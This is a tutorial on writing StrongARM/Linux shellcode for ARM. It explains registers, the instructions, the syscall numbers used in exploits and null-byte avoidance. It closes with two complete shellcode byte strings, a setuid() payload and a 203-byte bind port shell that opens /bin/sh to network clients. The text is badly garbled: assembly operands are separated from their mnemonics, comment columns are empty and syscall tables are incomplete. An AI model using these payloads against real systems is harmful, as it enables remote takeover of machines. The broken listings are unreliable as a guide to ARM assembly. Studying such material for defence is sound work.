By Funkysh
By Funkysh
----{ Introduction
This paper covers informations needed to write StrongARM Linux shellcode. All examples
presented in this paper was developed on Compaq iPAQ H3650 with Intel StrongARM-1110
processor running Debian Linux. Note that this document is not a complete ARM architecture
guide nor an assembly language tutorial, while I hope it also does not contain any major bugs, it
is perhaps worth noting that StrongARM can be not fully compatible with other ARMs (however,
I often refer just to "ARM" when I think it is not an issue). Document is divided into nine
sections:
* Brief history of ARM
* ARM architecture
* ARM registers
* Instruction set
* System calls
* Common operations
* Null avoiding
* Example codes
* References
its chip manufacturing to Intel Corporation. Intel's StrongARM (including SA-110 and SA-1110)
implements the ARM v4 architecture defined in [1].
stack pointer
link register
program counter/status register
Register r13 also known as 'sp' is used as stack pointer and both with link register are used to
implement functions or subroutines in ARM assembly language. The link register - r14 also
known as 'lr' is used to hold subroutine return address. When a subroutine call is performed by
eg. bl instruction r14 is set to return address of subroutine. Then subroutine return is performed
by copying r14 back into program counter.
Stack on the ARM grows to the lower memory addresses and stack pointer points to the last item
written to it, it is called "full descending stack". For example result of placing 0x41 and then
0x42 on the stack looks that way:
memory address
sp ->
stack value
+------------+
0xbffffdfc: | 0x00000041 |
+------------+
0xbffffdf8: | 0x00000042 |
+------------+
Executing 'branch with link' - as mentioned in previous section, results with setting 'lr' with
address of next instruction.
2. Data-processing instructions
---------------------------------Data-processing instructions in general uses 3-address format:
<opcode mnemonic> <destination> <operand 1> <operand 2>
Destination is always register, operand 1 also must be one of r0 to r15 registers, and operand 2
can be register, shifted register or immediate value.
Some examples:
-----------------------------+----------------+--------------------+
addition:
add | add r1,r1,#65 | set r1 = r1 + 65
|
substraction:
sub | sub r1,r1,#65 | set r1 = r1 - 65
|
logical AND:
and | and r0,r1,r2
| set r0 = r1 AND r2 |
logical exclusive OR:
eor | eor r0,r1,#65 | set r0 = r1 XOR r2 |
logical OR:
orr | orr r0,r1,r2
| set r0 = r1 OR r2 |
move:
mov | mov r2,r0
| set r2 = r0
|
(store 32 bits)
(store 8 bits)
ARM support also storing/loading of multiple registers, it is quite interesting feature from
optimization point of view, here go stm (store multiple registers in memory):
stm <base register><stack type>(!),{register list}
Base register can by any register, but typically stack pointer is used.
For example: stmfd sp!, {r0-r3, r6} store registers r0, r1, r2, r3 and r6 on the stack (in
full descending mode - notice additional mnemonic "fd" after stm) stack pointer will points to
the place where r0 register is stored.
Analogical instruction to load of multiple registers from memory is: ldm
4. Exception-generating instructions
---------------------------------------Software interrupt: swi <number> is only interesting for us, it perform software interrupt
exception, it is used as system call.
List of instructions presented in this section is not complete, a full set can be obtained from [1].
----{ Syscalls
On Linux with StrongARM processor, syscall base is moved to 0x900000, this is not good
information for shellcode writers, since we have to deal with instruction opcode containing zero
byte.
Example "exit" syscall looks that way:
swi 0x900001
[ 0xef900001 ]
Here goes a quick list of syscalls which can be usable when writing shellcodes (return value of
the syscall is usually stored in r0):
execve:
-------
r0
r1
r2
call number
=
=
=
=
setuid:
-------
r0 = uid_t uid
call number = 0x900017
dup2:
-----
r0 = int oldfd
r1 = int newfd
call number = 0x90003f
socket:
-------
r0 = 1 (SYS_SOCKET)
r1 = ptr to int domain, int type, int protocol
call number = 0x900066 (socketcall)
bind:
-----
r0 = 2 (SYS_BIND)
r1 = ptr to int sockfd, struct sockaddr *my_addr,
socklen_t addrlen
call number = 0x900066 (socketcall)
listen:
-------
r0 = 4 (SYS_LISTEN)
r1 = ptr to int s, int backlog
call number = 0x900066 (socketcall)
accept:
-------
r0 = 5 (SYS_ACCEPT)
r1 = ptr int s, struct sockaddr
socklen_t *addrlen
call number = 0x900066 (socketcall)
*addr,
Shifters can be used with the data processing instructions, or with ldr and str instruction. For
example, to load r0 with 0x900000 we perform following operations:
mov
mov
r0, #144
r0, r0, lsl #16
; 0x90
; 0x90 << 16 = 0x900000
Position independence
--------------------------Obtaining own code postition is quite easy since pc is general-purpose register and can be either
readed at any moment or loaded with 32 bit value to perform jump into any address in memory.
For example, after executing:
sub
r0, pc, #4
sss:
bl
swi
mov
sss
0x900001
r0, lr
mov
...
sub
cmp
bne
r0, #3
This loop can be optimised using subs instruction which will set Z flag for us when r0 reach
0, so we can eliminate a cmp.
loop:
mov
...
subs
bne
r0, #3
r0, r0, #1
loop
Nop instruction
--------------On ARM "mov r0, r0" is used as nop, however it contain nulls so any other "neutral"
instruction have to be used when writting proof of concept codes for vulnerabilities, "mov r1,
r1" is just an example.
mov
r1, r1
[ 0xe1a01001 ]
For example:
can be raplaced with:
e3a00041
mov
r0, #65
e0411001
e2812041
e1a00112
sub
add
mov
r1, r1, r1
r2, r1, #65
r0, r2, lsl r1
(r0 = r2 << 0)
add
sub
strb
swi
r1, pc, #4
r2, r2, r2
r2, [r1, #1]
0x90ff0b
In example codes presented in next section I used storing with link register:
e04ee00e
e92d401e
sub
lr, lr, lr
stmfd sp!, {r1, r2, r3, r4, lr}
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
sub
add
str
str
mov
strb
add
add
strb
swi
r2, r2, r2
r3, pc, #28
r3, [sp, #4]
r2, [sp, #8]
r0, r3, lsl r2
r2, [r3, #7
r3, pc, #4
r1, sp, #4
r2, [r3, #1]
0x90ff0b
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
r2,
r1,
r0,
r2,
*/
*/
*/
*/
/*
* 20 byte StrongARM/Linux setuid() shellcode
* funkysh
*/
char shellcode[]= "\x02\x20\x42\xe0"
"\x04\x10\x8f\xe2"
"\x12\x02\xa0\xe1"
"\x01\x20\xc1\xe5"
/*
/*
/*
/*
sub
add
mov
strb
r2, r2
pc, #4
r2, lsl r2
[r1, #1]
"\x17\xff\x90\xef";
/*
swi
0x90ff17
*/
/*
* 203 byte StrongARM/Linux bind() portshell shellcode
* funkysh
*/
char shellcode[]= "\x20\x60\x8f\xe2"
"\x07\x70\x47\xe0"
"\x01\x70\xc6\xe5"
"\x01\x30\x87\xe2"
"\x13\x07\xa0\xe1"
"\x01\x20\x83\xe2"
"\x07\x40\xa0\xe1"
"\x0e\xe0\x4e\xe0"
"\x1c\x40\x2d\xe9"
"\x0d\x10\xa0\xe1"
"\x66\xff\x90\xef"
"\x10\x57\xa0\xe1"
"\x35\x70\xc6\xe5"
"\x14\x20\xa0\xe3"
"\x82\x28\xa9\xe1"
"\x02\x20\x82\xe2"
"\x14\x40\x2d\xe9"
"\x10\x30\xa0\xe3"
"\x0d\x20\xa0\xe1"
"\x0d\x40\x2d\xe9"
"\x02\x20\xa0\xe3"
"\x12\x07\xa0\xe1"
"\x0d\x10\xa0\xe1"
"\x66\xff\x90\xef"
"\x45\x70\xc6\xe5"
"\x02\x20\x82\xe2"
"\x12\x07\xa0\xe1"
"\x66\xff\x90\xef"
"\x5d\x70\xc6\xe5"
"\x01\x20\x82\xe2"
"\x12\x07\xa0\xe1"
"\x04\x70\x8d\xe5"
"\x08\x70\x8d\xe5"
"\x66\xff\x90\xef"
"\x10\x57\xa0\xe1"
"\x02\x10\xa0\xe3"
"\x71\x70\xc6\xe5"
"\x15\x07\xa0\xe1"
"\x3f\xff\x90\xef"
"\x01\x10\x51\xe2"
"\xfb\xff\xff\x5a"
"\x99\x70\xc6\xe5"
"\x14\x30\x8f\xe2"
"\x04\x30\x8d\xe5"
"\x04\x10\x8d\xe2"
"\x02\x20\x42\xe0"
"\x13\x02\xa0\xe1"
"\x08\x20\x8d\xe5"
"\x0b\xff\x90\xef"
"/bin/sh";
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
add
sub
strb
add
mov
add
mov
sub
stmfd
mov
swi
mov
strb
mov
mov
add
stmfd
mov
mov
stmfd
mov
mov
mov
swi
strb
add
mov
swi
strb
add
mov
str
str
swi
mov
mov
strb
mov
swi
subs
bpl
strb
add
str
add
sub
mov
str
swi
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
----{ References:
[1] ARM Architecture Reference Manual - Issue D,
2000 Advanced RISC Machines LTD
[2] Intel StrongARM SA-1110 Microprocessor Developer's Manual,
2001 Intel Corporation
[3] Using the ARM Assembler,
1988 Advanced RISC Machines LTD
[4] ARM8 Data Sheet,
1996 Advanced RISC Machines LTD